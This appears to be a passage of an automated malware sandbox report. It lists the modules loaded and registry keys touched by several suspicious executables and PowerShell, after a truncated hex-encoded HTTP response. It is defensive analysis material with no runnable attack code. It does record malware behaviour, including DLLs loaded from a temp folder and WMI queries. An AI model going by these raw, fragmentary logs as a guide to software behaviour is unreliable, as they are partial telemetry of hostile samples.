Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463654554E3361574E74526E5661526A6C365A45684A61553970536B746A526B4A475655553061575A6C655570365956645261553971.......36:T5591,".exe" loaded module "KERNEL32" at base 776b0000 ".exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 77310000 ".exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 77310000 ".exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 77310000 ".exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 77540000 ".exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77310000 ".exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77310000 ".exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77310000 ".exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 740f0000 ".exe" loaded module "ADVAPI32.DLL" at base 74910000 ".exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72e50000 ".exe" loaded module "SHLWAPI.DLL" at base 77660000 ".exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 749f0000 ".exe" loaded module "VERSION.DLL" at base 744b0000 ".exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 726a0000 ".exe" loaded module "USER32.DLL" at base 76670000 ".exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 77310000 ".exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 ".exe" loaded module "MSCOREE.DLL" at base 72ee0000 ".exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 777f0000 ".exe" loaded module "PSAPI.DLL" at base 74b90000 ".exe" loaded module "KERNEL32.DLL" at base 776b0000 ".exe" loaded module "RPCRT4.DLL" at base 771e0000 ".exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 711e0000 ".exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 ".exe" loaded module "OLE32.DLL" at base 77c60000 ".exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 ".exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 777f0000 ".exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 77310000 ".exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71150000 ".exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 706f0000 ".exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6fed0000 ".exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74210000 ".exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 ".exe" loaded module "SHELL32.DLL" at base 74ee0000 ".exe" loaded module "NTDLL.DLL" at base 77d60000 ".exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73ce0000 ".exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76c10000 ".exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 6fd80000 ".exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 74ee0000 ".exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 776b0000 ".exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 6fbf0000 ".exe" loaded module "MSISO.DLL" at base 6fb90000 ".exe" loaded module "SSPICLI.DLL" at base 74780000 ".exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 77310000 ".exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 746d0000 "aafg31.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base c3b80000 "aafg31.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base c3b80000 "aafg31.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base c3b80000 "aafg31.exe" loaded module "KERNEL32" at base c61f0000 "aafg31.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base a5cd0000 "aafg31.exe" loaded module "MSVCRT" at base c5f10000 "aafg31.exe" loaded module "WININET" at base b1cb0000 "aafg31.exe" loaded module "KERNEL32.DLL" at base c61f0000 "aafg31.exe" loaded module "RPCRT4.DLL" at base c5fc0000 "aafg31.exe" loaded module "SSPICLI.DLL" at base c2b70000 "aafg31.exe" loaded module "USER32.DLL" at base c55a0000 "aafg31.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base a5f90000 "aafg31.exe" loaded module "WINHTTP.DLL" at base bd290000 "aafg31.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base a5f90000 "aafg31.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base c24a0000 "aafg31.exe" loaded module "MSISO.DLL" at base b6150000 "aafg31.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base bb240000 "aafg31.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base bceb0000 "aafg31.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base c6880000 "aafg31.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base c1ff0000 "aafg31.exe" loaded module "MSKEYPROTECT.DLL" at base b4cc0000 "aafg31.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base c3b20000 "aafg31.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base c20b0000 "aafg31.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base b4aa0000 "aafg31.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base c36e0000 "aafg31.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base b4d10000 "aafg31.exe" loaded module "NTDLL" at base c6920000 "aafg31.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base c3b80000 "aafg31.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base c3b80000 "aafg31.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base c3b80000 "toolspub2.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77310000 "toolspub2.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77310000 "toolspub2.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77310000 "toolspub2.exe" loaded module "KERNEL32" at base 776b0000 "toolspub2.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 740f0000 "toolspub2.exe" loaded module "MSIMG32.DLL" at base 6fb80000 "toolspub2.exe" loaded module "KERNEL32.DLL" at base 776b0000 "toolspub2.exe" loaded module "USER32" at base 76670000 "toolspub2.exe" loaded module "NTDLL.DLL" at base 77d60000 "toolspub2.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74210000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77310000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77310000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77310000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "KERNEL32" at base 776b0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 740f0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "MSIMG32.DLL" at base 74090000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "KERNEL32.DLL" at base 776b0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "MSVCR100.DLL" at base 72e80000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "ADVAPI32.DLL" at base 74910000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "NTDLL.DLL" at base 77d60000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "WINMM.DLL" at base 72e50000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "WS2_32.DLL" at base 77780000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "POWRPROF.DLL" at base 74ba0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "OLE32.DLL" at base 77c60000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77310000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 72de0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 74910000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 74080000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "OLEAUT32.DLL" at base 74ce0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 72cc0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 72cb0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 72bf0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 77310000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 77310000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 74ce0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "NETAPI32.DLL" at base 72e00000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 72d80000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 72d70000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 72b90000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 72c50000 "latestplayer.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77310000 "latestplayer.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77310000 "latestplayer.exe" loaded module "KERNEL32" at base 776b0000 "latestplayer.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 740f0000 "latestplayer.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 749f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77310000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77310000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77310000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 740f0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 74910000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72bf0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 77660000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 749f0000 "powershell.exe" loaded module "VERSION.DLL" at base 744b0000 "powershell.exe" loaded module "USER32.DLL" at base 76670000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70f80000 "powershell.exe" loaded module "RPCRT4.DLL" at base 771e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 77c60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 777f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 70f30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 77b40000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 77310000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 70ea0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 74ce0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 70440000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6fc20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 777f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 777f0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 776b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 74080000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 77d60000 "powershell.exe" loaded module "CRYPT32.DLL" at base 74a00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 777f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 72d70000 "powershell.exe" loaded module "SSPICLI.DLL" at base 74780000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6ef40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74210000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 6eed0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 744b0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6ee30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 776b0000 "powershell.exe" loaded module "USERENV.DLL" at base 6fbf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 74910000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 6edd0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6edb0000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 776b0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6ed80000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6ea90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6ea60000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6ea60000 "powershell.exe" loaded module "URLMON.DLL" at base 6eaa0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 6e940000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32" at base 74ce0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 77310000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MSVCRT.DLL" at base 0 "powershell.exe" loaded module "MSVCRT.DLL" at base 77ba0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 0 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 6e660000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 77310000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WMIDCOM.DLL" at base 6e5b0000 "powershell.exe" loaded module "GDI32.DLL" at base 77a40000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77310000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6e450000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 77310000 "powershell.exe" loaded module "MSCOREE.DLL" at base 72c80000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "WTSAPI32.DLL" at base 742c0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "RPCRT4.DLL" at base 771e0000 "powershell.exe" loaded module "KERNEL32" at base 776b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72c50000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 77310000 "powershell.exe" loaded module "MSCOREE.DLL" at base 72da0000 "powershell.exe" loaded module "PSAPI.DLL" at base 74b90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70fe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 70f90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 70f00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 704a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6fc80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 74ee0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f500000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6f060000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6ef50000 "powershell.exe" loaded module "WLDP.DLL" at base 6ef30000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6ee90000 "powershell.exe" loaded module "USERENV.DLL" at base 6f4d0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 6ee30000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6ee10000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6ede0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6eaf0000 "powershell.exe" loaded module "URLMON.DLL" at base 6eb00000 "powershell.exe" loaded module "MSISO.DLL" at base 6ea50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 6e9a0000 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 6e6c0000 "powershell.exe" loaded module "MI.DLL" at base 6e6a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WMIDCOM.DLL" at base 6e610000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6e5f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6e570000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 776b000037:Tfc7,".exe" touched "Computer" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32") ".exe" touched "UsersFiles" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\INPROCSERVER32") ".exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32") ".exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") ".exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") ".exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") ".exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") ".exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") ".exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") ".exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") ".exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") ".exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") ".exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "WBEM Scripting Locator" (Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "PSDispatch" (Path: "HKCU\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\INPROCSERVER32") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "WbemDefaultPathParser" (Path: 